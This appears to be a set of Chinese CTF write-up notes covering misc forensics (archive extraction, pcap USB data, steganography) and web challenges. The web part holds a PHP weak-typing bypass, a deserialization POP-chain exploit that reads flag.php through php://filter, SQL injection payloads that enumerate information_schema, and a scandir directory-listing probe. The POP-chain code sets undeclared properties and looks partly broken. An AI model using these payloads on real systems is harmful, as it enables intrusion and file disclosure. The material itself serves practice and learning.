后缀改zip,分离出图片,继续解压
用脚本解压
import zipfile
a=""
for i in range(232,2,-1):
a=str(i)+".zip"
print(a)
# 打开压缩包并解压
with zipfile.ZipFile(a) as zf:
zf.extractall()
解压后得到一个pcap,需要把USB导出来
usb.src == "1.51.1"
分离出个压缩包,然后图片属性有密码,进行词频分析
while [ "`find . -type f -name '*.tar.xz' | wc -l`" -gt 0 ]; do find -type f -name "*.tar.xz" -exec tar xf '{}' \; -exec rm -- '{}' \;; done;
strings flag
docx隐藏文字
看压缩包猜测明文攻击
转GBK编码看CRC
f = open("C:/Users/lenovo/Desktop/1.txt", "w")
s="Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually I survived. Now that I have no cash with me and I’m trapped in another country. I can't contact Violet now. She must be desperate to see me and I don't want her to cry for me. I need to pay 300 for the train, and 88 for the meal. Cash or battlenet point are both accepted. I don't play the Hearthstone, and I don't even know what is Rastakhan's Rumble."
f.write(s)
f.close()
明文攻击 zsteg
MISC5 分离pcap 有个加密文件 密码要最终tcp
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?> array(0) { }
因为变量都是弱类型,所以只要涉及到变量之间的比较,就有可能触发这个漏洞
,所以我们可以传入2022a
if("admin"==0) //true
if("1admin"==1)//true
if("admin1"==1)//false
if("0e12324"=="0e1324")//true
!(is_array($info["items"][1])OR count($info["items"])!==3)
需要让里面为false,又是or连接,所以两边都为false。第一个语句就是items数组第二个为array(0)这里我有个小疑问,为什么传入是array(0),不是0?
做个测试
$items=array(0,array(0),0);
if(!is_array($items[1])) die("Sorry~");
else
die("yes");
?>
很明显不是0.继续看题,注意前面有个is_array,也就是数组的意思。这下明白了
$val==="skiing"
,所以需要代替,这里学到,0是可以代替skiing
所以最后构造payload
class a{
public $year="2022a";
public $items=array(0,array(0),0);
}
$aaa=new a();
$z=json_encode($aaa);
echo $z;
最后get传参
?Information=$z
echo 'Happy New Year~ MAKE A WISH
';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
仍然是先找链子的头和尾,头部依然是一个GET传参,而在Try_Work_Hard类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Try_Work_Hard类中的__invoke()调用了append(),然后在Make_a_Change类中的__get()返回的是$function(),可以调用__invoke(),再往前Road_is_Long类中的__toString()可以调用__get(),然后在Road_is_Long类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了
一篇类似图片
头 -> Road_is_Long::__wakeup() -> Road_is_Long::__toString() -> Make_a_Change::__get() -> Try_Work_Hard::__invoke() -> Try_Work_Hard::append -> 尾
构造payload
echo 'Happy New Year~ MAKE A WISH
';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
//因为__invoke直接调用append,所以对append不进行改变
$a->source=$b;
$b->str=$c;
$c->p=$d;
echo urlencode(serialize($a));
?>
?wish=上面的序列化
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)
COUNT(*):统计表中元组的个数
COUNT([DISTINCT] <列名>):统计本列的列值个数,DISTINCT表示去掉重复值后再统计
SUM(<列名>):计算列值的和值(必须是数值类型)
AVG(<列名>):计算列值的平均值(必须是数值类型)
MAX(<列名>):得到列的最大值
MIN(<列名>):得到列的最小值
开始进行测试
但是当我们使用联合查询时,发现select被ban了
用这个语句进行测试,得到数据库security
?id=-1 union values row(1,database(),3)
我们需要直到security在第几个
1' and ('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 1,1)
cale.php?%20num=var_dump(scandir(chr(47)))
(binwalk+账号密码MD5)
(binwalk+四位数爆破+字频统计)
(binwalk 看010 outguess)/[WUSTCTF2020]alison_likes_jojo(binwalk,6位数爆破 base64 outguess)’
(图片隐写,图片分离,数字转八进制,前两位提取转十进制转二进制,压缩包改docx,base64解码,01填充)
(binwalk 颜文字加密)
(图片隐写,图片分离,数字转八进制,前两位提取转十进制转二进制,压缩包改docx,base64解码,01填充)